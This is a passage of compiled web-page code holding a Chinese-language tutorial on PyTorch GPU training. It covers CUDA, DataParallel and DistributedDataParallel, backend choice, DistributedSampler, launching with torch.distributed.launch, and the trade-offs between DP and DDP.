\u4f7f\u7528CUDA\u52a0\u901f\u8bad\u7ec3"}),"\n",(0,s.jsx)(n.h3,{id:"\u5355\u5361\u8bad\u7ec3",children:"\u5355\u5361\u8bad\u7ec3"}),"\n",(0,s.jsxs)(n.p,{children:["\u5728PyTorch\u6846\u67b6\u4e0b\uff0cCUDA\u7684\u4f7f\u7528\u53d8\u5f97\u975e\u5e38\u7b80\u5355\uff0c\u6211\u4eec\u53ea\u9700\u8981\u663e\u5f0f\u7684\u5c06\u6570\u636e\u548c\u6a21\u578b\u901a\u8fc7",(0,s.jsx)(n.code,{children:".cuda()"}),"\u65b9\u6cd5\u8f6c\u79fb\u5230GPU\u4e0a\u5c31\u53ef\u52a0\u901f\u6211\u4eec\u7684\u8bad\u7ec3\u3002\u5982\u4e0b\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"model = Net()\nmodel.cuda() # \u6a21\u578b\u663e\u793a\u8f6c\u79fb\u5230CUDA\u4e0a\n\nfor image,label in dataloader:\n # \u56fe\u50cf\u548c\u6807\u7b7e\u663e\u793a\u8f6c\u79fb\u5230CUDA\u4e0a\n image = image.cuda() \n label = label.cuda()\n"})}),"\n",(0,s.jsx)(n.h3,{id:"\u591a\u5361\u8bad\u7ec3",children:"\u591a\u5361\u8bad\u7ec3"}),"\n",(0,s.jsxs)(n.p,{children:["PyTorch\u63d0\u4f9b\u4e86\u4e24\u79cd\u591a\u5361\u8bad\u7ec3\u7684\u65b9\u5f0f\uff0c\u5206\u522b\u4e3a",(0,s.jsx)(n.code,{children:"DataParallel"}),"\u548c",(0,s.jsx)(n.code,{children:"DistributedDataParallel"}),"\uff08\u4ee5\u4e0b\u6211\u4eec\u5206\u522b\u7b80\u79f0\u4e3aDP\u548cDDP\uff09\u3002\u8fd9\u4e24\u79cd\u65b9\u6cd5\u4e2d\u5b98\u65b9\u66f4\u63a8\u8350\u6211\u4eec\u4f7f\u7528",(0,s.jsx)(n.code,{children:"DDP"}),"\uff0c\u56e0\u4e3a\u5b83\u7684\u6027\u80fd\u66f4\u597d\u3002\u4f46\u662f",(0,s.jsx)(n.code,{children:"DDP"}),"\u7684\u4f7f\u7528\u6bd4\u8f83\u590d\u6742\uff0c\u800c",(0,s.jsx)(n.code,{children:"DP"}),"\u7ecf\u9700\u8981\u6539\u53d8\u51e0\u884c\u4ee3\u7801\u65e2\u53ef\u4ee5\u5b9e\u73b0\uff0c\u6240\u4ee5\u6211\u4eec\u8fd9\u91cc\u5148\u4ecb\u7ecd",(0,s.jsx)(n.code,{children:"DP"}),"\uff0c\u518d\u4ecb\u7ecd",(0,s.jsx)(n.code,{children:"DDP"}),"\u3002"]}),"\n",(0,s.jsx)(n.h4,{id:"\u5355\u673a\u591a\u5361dp",children:"\u5355\u673a\u591a\u5361DP"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"DP.png",src:l(69363).A+"",width:"736",height:"442"})}),"\n",(0,s.jsxs)(n.p,{children:["\u9996\u5148\u6211\u4eec\u6765\u770b\u5355\u673a\u591a\u5361DP\uff0c\u901a\u5e38\u4f7f\u7528\u4e00\u79cd\u53eb\u505a\u6570\u636e\u5e76\u884c (Data parallelism) \u7684\u7b56\u7565\uff0c\u5373\u5c06\u8ba1\u7b97\u4efb\u52a1\u5212\u5206\u6210\u591a\u4e2a\u5b50\u4efb\u52a1\u5e76\u5728\u591a\u4e2aGPU\u5361\u4e0a\u540c\u65f6\u6267\u884c\u8fd9\u4e9b\u5b50\u4efb\u52a1\u3002\u4e3b\u8981\u4f7f\u7528\u5230\u4e86",(0,s.jsx)(n.code,{children:"nn.DataParallel"}),"\u51fd\u6570\uff0c\u5b83\u7684\u4f7f\u7528\u975e\u5e38\u7b80\u5355\uff0c\u4e00\u822c\u6211\u4eec\u53ea\u9700\u8981\u52a0\u51e0\u884c\u4ee3\u7801\u5373\u53ef\u5b9e\u73b0"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"model = Net()\nmodel.cuda() # \u6a21\u578b\u663e\u793a\u8f6c\u79fb\u5230CUDA\u4e0a\n\nif torch.cuda.device_count() > 1: # \u542b\u6709\u591a\u5f20GPU\u7684\u5361\n\tmodel = nn.DataParallel(model) # \u5355\u673a\u591a\u5361DP\u8bad\u7ec3\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u9664\u6b64\u4e4b\u5916\uff0c\u6211\u4eec\u4e5f\u53ef\u4ee5\u6307\u5b9aGPU\u8fdb\u884c\u5e76\u884c\u8bad\u7ec3\uff0c\u4e00\u822c\u6709\u4e24\u79cd\u65b9\u5f0f"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"nn.DataParallel"}),"\u51fd\u6570\u4f20\u5165",(0,s.jsx)(n.code,{children:"device_ids"}),"\u53c2\u6570\uff0c\u53ef\u4ee5\u6307\u5b9a\u4e86\u4f7f\u7528\u7684GPU\u7f16\u53f7"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"model = nn.DataParallel(model, device_ids=[0,1]) # \u4f7f\u7528\u7b2c0\u548c\u7b2c1\u5f20\u5361\u8fdb\u884c\u5e76\u884c\u8bad\u7ec3\n"})}),"\n"]}),"\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsxs)(n.p,{children:["\u8981",(0,s.jsx)(n.strong,{children:"\u624b\u52a8\u6307\u5b9a\u5bf9\u7a0b\u5e8f\u53ef\u89c1\u7684GPU\u8bbe\u5907"})]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:'os.environ["CUDA_VISIBLE_DEVICES"] = "1,2"\n'})}),"\n"]}),"\n"]}),"\n",(0,s.jsx)(n.h4,{id:"\u591a\u673a\u591a\u5361ddp",children:"\u591a\u673a\u591a\u5361DDP"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"DP.png",src:l(88135).A+"",width:"1269",height:"674"})}),"\n",(0,s.jsxs)(n.p,{children:["\u4e0d\u8fc7\u901a\u8fc7DP\u8fdb\u884c\u5206\u5e03\u5f0f\u591a\u5361\u8bad\u7ec3\u7684\u65b9\u5f0f\u5bb9\u6613\u9020\u6210\u8d1f\u8f7d\u4e0d\u5747\u8861\uff0c\u6709\u53ef\u80fd\u7b2c\u4e00\u5757GPU\u663e\u5b58\u5360\u7528\u66f4\u591a\uff0c\u56e0\u4e3a\u8f93\u51fa\u9ed8\u8ba4\u90fd\u4f1a\u88abgather\u5230\u7b2c\u4e00\u5757GPU\u4e0a\u3002\u4e3a\u6b64Pytorch\u4e5f\u63d0\u4f9b\u4e86",(0,s.jsx)(n.code,{children:"torch.nn.parallel.DistributedDataParallel"}),"\uff08DDP\uff09\u65b9\u6cd5\u6765\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u9488\u5bf9\u6bcf\u4e2aGPU\uff0c\u542f\u52a8\u4e00\u4e2a\u8fdb\u7a0b\uff0c\u7136\u540e\u8fd9\u4e9b\u8fdb\u7a0b\u5728\u6700\u5f00\u59cb\u7684\u65f6\u5019\u4f1a\u4fdd\u6301\u4e00\u81f4\uff08\u6a21\u578b\u7684\u521d\u59cb\u5316\u53c2\u6570\u4e5f\u4e00\u81f4\uff0c\u6bcf\u4e2a\u8fdb\u7a0b\u62e5\u6709\u81ea\u5df1\u7684\u4f18\u5316\u5668\uff09\uff0c\u540c\u65f6\u5728\u66f4\u65b0\u6a21\u578b\u7684\u65f6\u5019\uff0c\u68af\u5ea6\u4f20\u64ad\u4e5f\u662f\u5b8c\u5168\u4e00\u81f4\u7684\uff0c\u8fd9\u6837\u5c31\u53ef\u4ee5\u4fdd\u8bc1\u4efb\u4f55\u4e00\u4e2aGPU\u4e0a\u9762\u7684\u6a21\u578b\u53c2\u6570\u5c31\u662f\u5b8c\u5168\u4e00\u81f4\u7684\uff0c\u6240\u4ee5\u8fd9\u6837\u5c31\u4e0d\u4f1a\u51fa\u73b0",(0,s.jsx)(n.code,{children:"DataParallel"}),"\u90a3\u6837\u663e\u5b58\u4e0d\u5747\u8861\u7684\u95ee\u9898\u3002\u4e0d\u8fc7\u76f8\u5bf9\u5e94\u7684\uff0c\u4f1a\u6bd4\u8f83\u9ebb\u70e6\uff0c\u63a5\u4e0b\u6765\u4ecb\u7ecd\u4e00\u4e0b\u591a\u673a\u591a\u5361DDP\u7684\u4f7f\u7528\u65b9\u6cd5\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u5f00\u59cb\u4e4b\u524d\u9700\u8981\u5148\u719f\u6089\u51e0\u4e2a\u6982\u5ff5\uff0c\u8fd9\u4e9b\u8fd8\u662f\u6709\u5fc5\u8981\u63d0\u4e00\u4e0b\u7684"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.strong,{children:"\u8fdb\u7a0b\u7ec4\u7684\u76f8\u5173\u6982\u5ff5"})}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"GROUP"}),"\uff1a\u8fdb\u7a0b\u7ec4\uff0c\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\u53ea\u6709\u4e00\u4e2a\u7ec4\uff0c\u4e00\u4e2a job \u5373\u4e3a\u4e00\u4e2a\u7ec4\uff0c\u4e5f\u5373\u4e00\u4e2a world\u3002\uff08\u5f53\u9700\u8981\u8fdb\u884c\u66f4\u52a0\u7cbe\u7ec6\u7684\u901a\u4fe1\u65f6\uff0c\u53ef\u4ee5\u901a\u8fc7 new_group \u63a5\u53e3\uff0c\u4f7f\u7528 world \u7684\u5b50\u96c6\uff0c\u521b\u5efa\u65b0\u7ec4\uff0c\u7528\u4e8e\u96c6\u4f53\u901a\u4fe1\u7b49\u3002\uff09"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"WORLD_SIZE"}),"\uff1a\u8868\u793a\u5168\u5c40\u8fdb\u7a0b\u4e2a\u6570\u3002\u5982\u679c\u662f\u591a\u673a\u591a\u5361\u5c31\u8868\u793a\u673a\u5668\u6570\u91cf\uff0c\u5982\u679c\u662f\u5355\u673a\u591a\u5361\u5c31\u8868\u793a GPU \u6570\u91cf\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"RANK"}),"\uff1a\u8868\u793a\u8fdb\u7a0b\u5e8f\u53f7\uff0c\u7528\u4e8e\u8fdb\u7a0b\u95f4\u901a\u8baf\uff0c\u8868\u5f81\u8fdb\u7a0b\u4f18\u5148\u7ea7\u3002rank = 0 \u7684\u4e3b\u673a\u4e3a master \u8282\u70b9\u3002 \u5982\u679c\u662f\u591a\u673a\u591a\u5361\u5c31\u8868\u793a\u5bf9\u5e94\u7b2c\u51e0\u53f0\u673a\u5668\uff0c\u5982\u679c\u662f\u5355\u673a\u591a\u5361\uff0c\u7531\u4e8e\u4e00\u4e2a\u8fdb\u7a0b\u5185\u5c31\u53ea\u6709\u4e00\u4e2a GPU\uff0c\u6240\u4ee5 rank \u4e5f\u5c31\u8868\u793a\u7b2c\u51e0\u5757 GPU\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"LOCAL_RANK"}),"\uff1a\u8868\u793a\u8fdb\u7a0b\u5185\uff0cGPU \u7f16\u53f7\uff0c\u975e\u663e\u5f0f\u53c2\u6570\uff0c\u7531 torch.distributed.launch \u5185\u90e8\u6307\u5b9a\u3002\u4f8b\u5982\uff0c\u591a\u673a\u591a\u5361\u4e2d rank = 3\uff0clocal_rank = 0 \u8868\u793a\u7b2c 3 \u4e2a\u8fdb\u7a0b\u5185\u7684\u7b2c 1 \u5757 GPU\u3002"]}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.strong,{children:"DDP\u7684\u57fa\u672c\u7528\u6cd5 (\u4ee3\u7801\u7f16\u5199\u6d41\u7a0b)"})}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["\u5728\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"distributed"})," \u5305\u7684\u4efb\u4f55\u5176\u4ed6\u51fd\u6570\u4e4b\u524d\uff0c\u9700\u8981\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"init_process_group"})," ",(0,s.jsx)(n.strong,{children:"\u521d\u59cb\u5316\u8fdb\u7a0b\u7ec4"}),"\uff0c\u540c\u65f6\u521d\u59cb\u5316 ",(0,s.jsx)(n.code,{children:"distributed"})," \u5305\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:["\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"torch.nn.parallel.DistributedDataParallel"})," \u521b\u5efa ",(0,s.jsx)(n.strong,{children:"\u5206\u5e03\u5f0f\u6a21\u578b"})," ",(0,s.jsx)(n.code,{children:"DDP(model, device_ids=device_ids)"})]}),"\n",(0,s.jsxs)(n.li,{children:["\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"torch.utils.data.distributed.DistributedSampler"})," \u521b\u5efa ",(0,s.jsx)(n.strong,{children:"DataLoader"})]}),"\n",(0,s.jsxs)(n.li,{children:["\u4f7f\u7528\u542f\u52a8\u5de5\u5177 ",(0,s.jsx)(n.code,{children:"torch.distributed.launch"})," \u5728\u6bcf\u4e2a\u4e3b\u673a\u4e0a\u6267\u884c\u4e00\u6b21\u811a\u672c\uff0c\u5f00\u59cb\u8bad\u7ec3"]}),"\n"]}),"\n",(0,s.jsx)(n.p,{children:"\u9996\u5148\u662f\u5bf9\u4ee3\u7801\u8fdb\u884c\u4fee\u6539\uff0c\u6dfb\u52a0\u53c2\u6570 --local_rank"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:'import argparse\nparser = argparse.ArgumentParser()\nparser.add_argument("--local_rank", type=int) # \u8fd9\u4e2a\u53c2\u6570\u5f88\u91cd\u8981\nargs = parser.parse_args()\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u8fd9\u91cc\u7684local_rank\u53c2\u6570\uff0c\u53ef\u4ee5\u7406\u89e3\u4e3a",(0,s.jsx)(n.code,{children:"torch.distributed.launch"}),"\u5728\u7ed9\u4e00\u4e2aGPU\u521b\u5efa\u8fdb\u7a0b\u7684\u65f6\u5019\uff0c\u7ed9\u8fd9\u4e2a\u8fdb\u7a0b\u63d0\u4f9b\u7684GPU\u53f7\uff0c\u8fd9\u4e2a\u662f\u7a0b\u5e8f\u81ea\u52a8\u7ed9\u7684\uff0c",(0,s.jsx)(n.strong,{children:"\u4e0d\u9700\u8981\u624b\u52a8\u5728\u547d\u4ee4\u884c\u4e2d\u6307\u5b9a\u8fd9\u4e2a\u53c2\u6570\u3002"})]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:'local_rank = int(os.environ["LOCAL_RANK"]) #\u4e5f\u53ef\u4ee5\u81ea\u52a8\u83b7\u53d6\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u7136\u540e\u5728\u6240\u6709\u548cGPU\u76f8\u5173\u4ee3\u7801\u7684\u524d\u9762\u6dfb\u52a0\u5982\u4e0b\u4ee3\u7801\uff0c\u5982\u679c\u4e0d\u5199\u8fd9\u53e5\u4ee3\u7801\uff0c\u6240\u6709\u7684\u8fdb\u7a0b\u90fd\u9ed8\u8ba4\u5728\u4f60\u4f7f\u7528",(0,s.jsx)(n.code,{children:"CUDA_VISIBLE_DEVICES"}),"\u53c2\u6570\u8bbe\u5b9a\u76840\u53f7GPU\u4e0a\u9762\u542f\u52a8"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"torch.cuda.set_device(args.local_rank) # \u8c03\u6574\u8ba1\u7b97\u7684\u4f4d\u7f6e\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u63a5\u4e0b\u6765\u6211\u4eec\u5f97\u521d\u59cb\u5316",(0,s.jsx)(n.code,{children:"backend"}),"\uff0c\u4e5f\u5c31\u662f\u4fd7\u79f0\u7684\u540e\u7aef\uff0cpytorch\u4ecb\u7ecd\u4e86\u4ee5\u4e0b\u540e\u7aef\uff1a"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"Backends.png",src:l(86012).A+"",width:"796",height:"841"})}),"\n",(0,s.jsxs)(n.p,{children:["\u53ef\u4ee5\u770b\u5230\uff0c\u63d0\u4f9b\u4e86",(0,s.jsx)(n.code,{children:"gloo"}),"\uff0c",(0,s.jsx)(n.code,{children:"nccl"}),"\uff0c",(0,s.jsx)(n.code,{children:"mpi"}),"\uff0c\u90a3\u4e48\u5982\u4f55\u8fdb\u884c\u9009\u62e9\u5462\uff0c\u5b98\u7f51\u4e2d\u4e5f\u7ed9\u4e86\u4ee5\u4e0b\u5efa\u8bae"]}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsx)(n.p,{children:"\u7ecf\u9a8c\u4e4b\u8c08"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["\u5982\u679c\u662f\u4f7f\u7528",(0,s.jsx)(n.code,{children:"cpu"}),"\u7684\u5206\u5e03\u5f0f\u8ba1\u7b97, \u5efa\u8bae\u4f7f\u7528",(0,s.jsx)(n.code,{children:"gloo"}),"\uff0c\u56e0\u4e3a\u8868\u4e2d\u53ef\u4ee5\u770b\u5230 ",(0,s.jsx)(n.code,{children:"gloo"}),"\u5bf9",(0,s.jsx)(n.code,{children:"cpu"}),"\u7684\u652f\u6301\u662f\u6700\u597d\u7684"]}),"\n",(0,s.jsxs)(n.li,{children:["\u5982\u679c\u4f7f\u7528",(0,s.jsx)(n.code,{children:"gpu"}),"\u8fdb\u884c\u5206\u5e03\u5f0f\u8ba1\u7b97, \u5efa\u8bae\u4f7f\u7528",(0,s.jsx)(n.code,{children:"nccl"}),"\u3002"]}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsx)(n.p,{children:"GPU\u4e3b\u673a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["InfiniBand\u8fde\u63a5\uff0c\u5efa\u8bae\u4f7f\u7528",(0,s.jsx)(n.code,{children:"nccl"}),"\uff0c\u56e0\u4e3a\u5b83\u662f\u76ee\u524d\u552f\u4e00\u652f\u6301 InfiniBand \u548c GPUDirect \u7684\u540e\u7aef\u3002"]}),"\n",(0,s.jsxs)(n.li,{children:["Ethernet\u8fde\u63a5\uff0c\u5efa\u8bae\u4f7f\u7528",(0,s.jsx)(n.code,{children:"nccl"}),"\uff0c\u56e0\u4e3a\u5b83\u7684\u5206\u5e03\u5f0fGPU\u8bad\u7ec3\u6027\u80fd\u76ee\u524d\u662f\u6700\u597d\u7684\uff0c\u7279\u522b\u662f\u5bf9\u4e8e\u591a\u8fdb\u7a0b\u5355\u8282\u70b9\u6216\u591a\u8282\u70b9\u5206\u5e03\u5f0f\u8bad\u7ec3\u3002 \u5982\u679c\u5728\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"nccl"}),"\u65f6\u9047\u5230\u4efb\u4f55\u95ee\u9898\uff0c\u53ef\u4ee5\u4f7f\u7528",(0,s.jsx)(n.code,{children:"gloo"})," \u4f5c\u4e3a\u540e\u5907\u9009\u9879\u3002 \uff08\u4e0d\u8fc7\u6ce8\u610f\uff0c\u5bf9\u4e8e GPU\uff0c",(0,s.jsx)(n.code,{children:"gloo"})," \u76ee\u524d\u7684\u8fd0\u884c\u901f\u5ea6\u6bd4 ",(0,s.jsx)(n.code,{children:"nccl"})," \u6162\u3002\uff09"]}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsx)(n.p,{children:"CPU\u4e3b\u673a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["InfiniBand\u8fde\u63a5\uff0c\u5982\u679c\u542f\u7528\u4e86IP over IB\uff0c\u90a3\u5c31\u4f7f\u7528",(0,s.jsx)(n.code,{children:"gloo"}),"\uff0c\u5426\u5219\u4f7f\u7528",(0,s.jsx)(n.code,{children:"mpi"})]}),"\n",(0,s.jsxs)(n.li,{children:["Ethernet\u8fde\u63a5\uff0c\u5efa\u8bae\u4f7f\u7528",(0,s.jsx)(n.code,{children:"gloo"}),"\uff0c\u9664\u975e\u6709\u4e0d\u5f97\u5df2\u7684\u7406\u7531\u4f7f\u7528",(0,s.jsx)(n.code,{children:"mpi"}),"\u3002"]}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(n.p,{children:["\u5f53\u540e\u7aef\u9009\u62e9\u597d\u4e86\u4e4b\u540e, \u6211\u4eec\u9700\u8981\u8bbe\u7f6e\u4e00\u4e0b\u7f51\u7edc\u63a5\u53e3, \u56e0\u4e3a\u591a\u4e2a\u4e3b\u673a\u4e4b\u95f4\u80af\u5b9a\u662f\u4f7f\u7528\u7f51\u7edc\u8fdb\u884c\u4ea4\u6362, \u90a3\u80af\u5b9a\u5c31\u6d89\u53ca\u5230IP\u4e4b\u7c7b\u7684, \u5bf9\u4e8e",(0,s.jsx)(n.code,{children:"nccl"}),"\u548c",(0,s.jsx)(n.code,{children:"gloo"}),"\u4e00\u822c\u4f1a\u81ea\u5df1\u5bfb\u627e\u7f51\u7edc\u63a5\u53e3\uff0c\u4e0d\u8fc7\u6709\u65f6\u5019\u5982\u679c\u7f51\u5361\u6bd4\u8f83\u591a\u7684\u65f6\u5019\uff0c\u5c31\u9700\u8981\u81ea\u5df1\u8bbe\u7f6e\uff0c\u53ef\u4ee5\u5229\u7528\u4ee5\u4e0b\u4ee3\u7801"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"import os\n# \u4ee5\u4e0b\u4e8c\u9009\u4e00, \u7b2c\u4e00\u4e2a\u662f\u4f7f\u7528gloo\u540e\u7aef\u9700\u8981\u8bbe\u7f6e\u7684, \u7b2c\u4e8c\u4e2a\u662f\u4f7f\u7528nccl\u9700\u8981\u8bbe\u7f6e\u7684\nos.environ['GLOO_SOCKET_IFNAME'] = 'eth0'\nos.environ['NCCL_SOCKET_IFNAME'] = 'eth0'\n"})}),"\n",(0,s.jsxs)(n.blockquote,{children:["\n",(0,s.jsxs)(n.p,{children:["\u53ef\u4ee5\u901a\u8fc7\u4ee5\u4e0b\u64cd\u4f5c\u77e5\u9053\u81ea\u5df1\u7684\u7f51\u7edc\u63a5\u53e3\uff0c\u8f93\u5165",(0,s.jsx)(n.code,{children:"ifconfig"}),", \u7136\u540e\u627e\u5230\u81ea\u5df1IP\u5730\u5740\u7684\u5c31\u662f, \u4e00\u822c\u5c31\u662f",(0,s.jsx)(n.code,{children:"em0"}),", ",(0,s.jsx)(n.code,{children:"eth0"}),", ",(0,s.jsx)(n.code,{children:"esp2s0"}),"\u4e4b\u7c7b\u7684,"]}),"\n"]}),"\n",(0,s.jsxs)(n.p,{children:["\u4ece\u4ee5\u4e0a\u4ecb\u7ecd\u6211\u4eec\u53ef\u4ee5\u770b\u51fa\uff0c \u5f53\u4f7f\u7528GPU\u7684\u65f6\u5019, ",(0,s.jsx)(n.code,{children:"nccl"}),"\u7684\u6548\u7387\u662f\u9ad8\u4e8e",(0,s.jsx)(n.code,{children:"gloo"}),"\u7684\uff0c\u6211\u4eec\u4e00\u822c\u8fd8\u662f\u4f1a\u9009\u62e9",(0,s.jsx)(n.code,{children:"nccl"}),"\u540e\u7aef\uff0c\u8bbe\u7f6eGPU\u4e4b\u95f4\u901a\u4fe1\u4f7f\u7528\u7684\u540e\u7aef\u548c\u7aef\u53e3\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"# ps \u68c0\u67e5nccl\u662f\u5426\u53ef\u7528\n# torch.distributed.is_nccl_available ()\ntorch.distributed.init_process_group(backend='nccl') # \u9009\u62e9nccl\u540e\u7aef\uff0c\u521d\u59cb\u5316\u8fdb\u7a0b\u7ec4\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u4e4b\u540e\uff0c\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"DistributedSampler"})," \u5bf9\u6570\u636e\u96c6\u8fdb\u884c\u5212\u5206\u3002\u5b83\u80fd\u5e2e\u52a9\u6211\u4eec\u5c06\u6bcf\u4e2a batch \u5212\u5206\u6210\u51e0\u4e2a partition\uff0c\u5728\u5f53\u524d\u8fdb\u7a0b\u4e2d\u53ea\u9700\u8981\u83b7\u53d6\u548c rank \u5bf9\u5e94\u7684\u90a3\u4e2a partition \u8fdb\u884c\u8bad\u7ec3\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"# \u521b\u5efaDataloader\ntrain_sampler = torch.utils.data.distributed.DistributedSampler(train_dataset)\ntrain_loader = torch.utils.data.DataLoader(train_dataset, batch_size=16, sampler=train_sampler)\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u6ce8\u610f\uff1a testset\u4e0d\u7528sampler"}),"\n",(0,s.jsxs)(n.p,{children:["\u7136\u540e\u4f7f\u7528",(0,s.jsx)(n.code,{children:"torch.nn.parallel.DistributedDataParallel"}),"\u5305\u88c5\u6a21\u578b\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"# DDP\u8fdb\u884c\u8bad\u7ec3\nmodel = torch.nn.parallel.DistributedDataParallel(model, device_ids=[args.local_rank])\n"})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.strong,{children:"\u5982\u4f55\u542f\u52a8DDP"})}),"\n",(0,s.jsx)(n.p,{children:"\u90a3\u4e48\u5982\u4f55\u542f\u52a8DDP\uff0c\u8fd9\u4e0d\u540c\u4e8eDP\u7684\u65b9\u5f0f\uff0c\u9700\u8981\u4f7f\u7528torch.distributed.launch\u542f\u52a8\u5668\uff0c\u5bf9\u4e8e\u5355\u673a\u591a\u5361\u7684\u60c5\u51b5\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"CUDA_VISIBLE_DEVICES=0,1,2,3 python -m torch.distributed.launch --nproc_per_node=4 main.py\n# nproc_per_node: \u8fd9\u4e2a\u53c2\u6570\u662f\u6307\u4f60\u4f7f\u7528\u8fd9\u53f0\u670d\u52a1\u5668\u4e0a\u9762\u7684\u51e0\u5f20\u663e\u5361\n"})}),"\n",(0,s.jsxs)(n.blockquote,{children:["\n",(0,s.jsx)(n.p,{children:"\u6709\u65f6\u5019\u867d\u7136\u8bf4\uff0c\u53ef\u4ee5\u7b80\u5355\u4f7f\u7528DP\uff0c\u4f46\u662fDDP\u7684\u6548\u7387\u662f\u6bd4DP\u9ad8\u7684\uff0c\u6240\u4ee5\u5f88\u591a\u65f6\u5019\u5355\u673a\u591a\u5361\u7684\u60c5\u51b5\uff0c\u6211\u4eec\u8fd8\u662f\u4f1a\u53bb\u4f7f\u7528DDP"}),"\n"]}),"\n",(0,s.jsx)(n.h3,{id:"dp-\u4e0e-ddp-\u7684\u4f18\u7f3a\u70b9",children:"DP \u4e0e DDP \u7684\u4f18\u7f3a\u70b9"}),"\n",(0,s.jsx)(n.h4,{id:"dp-\u7684\u4f18\u52bf",children:"DP \u7684\u4f18\u52bf"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"nn.DataParallel"}),"\u6ca1\u6709\u6539\u53d8\u6a21\u578b\u7684\u8f93\u5165\u8f93\u51fa\uff0c\u56e0\u6b64\u5176\u4ed6\u90e8\u5206\u7684\u4ee3\u7801\u4e0d\u9700\u8981\u505a\u4efb\u4f55\u66f4\u6539\uff0c\u975e\u5e38\u65b9\u4fbf\uff0c\u4e00\u884c\u4ee3\u7801\u5373\u53ef\u641e\u5b9a\u3002"]}),"\n",(0,s.jsx)(n.h4,{id:"dp-\u7684\u7f3a\u70b9",children:"DP \u7684\u7f3a\u70b9"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"DP"}),"\u8fdb\u884c\u5206\u5e03\u5f0f\u591a\u5361\u8bad\u7ec3\u7684\u65b9\u5f0f\u5bb9\u6613\u9020\u6210\u8d1f\u8f7d\u4e0d\u5747\u8861\uff0c\u7b2c\u4e00\u5757GPU\u663e\u5b58\u5360\u7528\u66f4\u591a\uff0c\u56e0\u4e3a\u8f93\u51fa\u9ed8\u8ba4\u90fd\u4f1a\u88abgather\u5230\u7b2c\u4e00\u5757GPU\u4e0a\uff0c\u4e5f\u5c31\u662f\u540e\u7eed\u7684loss\u8ba1\u7b97\u53ea\u4f1a\u5728",(0,s.jsx)(n.code,{children:"cuda:0"}),"\u4e0a\u8fdb\u884c\uff0c\u6ca1\u6cd5\u5e76\u884c\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u9664\u6b64\u4e4b\u5916",(0,s.jsx)(n.code,{children:"DP"}),"\u53ea\u80fd\u5728\u5355\u673a\u4e0a\u4f7f\u7528\uff0c\u4e14",(0,s.jsx)(n.code,{children:"DP"}),"\u662f\u5355\u8fdb\u7a0b\u591a\u7ebf\u7a0b\u7684\u5b9e\u73b0\u65b9\u5f0f\uff0c\u6bd4",(0,s.jsx)(n.code,{children:"DDP"}),"\u591a\u8fdb\u7a0b\u591a\u7ebf\u7a0b\u7684\u65b9\u5